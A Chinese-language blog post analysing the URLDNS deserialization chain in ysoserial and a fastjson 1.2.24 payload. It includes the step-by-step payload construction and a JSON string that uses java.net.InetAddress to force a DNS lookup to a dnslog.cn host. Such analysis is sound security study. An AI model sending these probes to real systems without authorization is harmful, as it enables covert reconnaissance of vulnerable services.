# Java反序列化中的URLDNS链
1.先看一下ysoserial的生成urldns的payload的代码 
2.payload生成过程:
- 初始化一个hashmap实例: HashMap ht = new HashMap();
- 初始化URL实例 : URL u = new URL(null, url, handler);
- 将URL的实例作为key传入hashmap中: ht.put(u, url);
- 通过暴力反射将URL实例中的hashCode设置为-1 : Reflections.setFieldValue(u, "hashCode", -1);
- 将hashmap序列化得到payload
3.反序列化过程
objectInputStream.readObject --> hashmap.readObject
- ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./dnslog.obj"));
- Object o = objectInputStream.readObject();
跟进hashmap的readobject方法

进入hash(key),这里的key就是对应的URL的实例对象
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); //key对象这里对应的就是URL的实例对象
}
- 进入URL@hashCode()方法,发现只有hashCode为 -1 时才能进入hashCode(this)方法,说明构造payload时设置hashCode的原因
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
- 跟进hashCode(this)方法,发现这里就触发了域名的解析功能

# Fastjson反序列化中的URLDNS链
1.先看一下fastjson的payload的代码 fastjson1.2.24 以InetAddress为例
String payload ="{\"rand1\":{\"@type\":\"java.net.InetAddress\",\"val\":\"abcd.oi00cm.dnslog.cn\"}}";
Object parse = JSON.parse(payload);
2.分析流
# 截取部分
com.alibaba.fastjson.parser.ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader)

com.alibaba.fastjson.serializer.MiscCodec.deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)

3.总结
fastjson认为dnslog的请求是无害化的,也确实是无害的,因此针对dnslog类的处理跟其他的rce模式略为不一样
dnslog类作为fastjson缓存白名单模式,方便加快序列化从而造成了问题
← RMI fastjson分析 →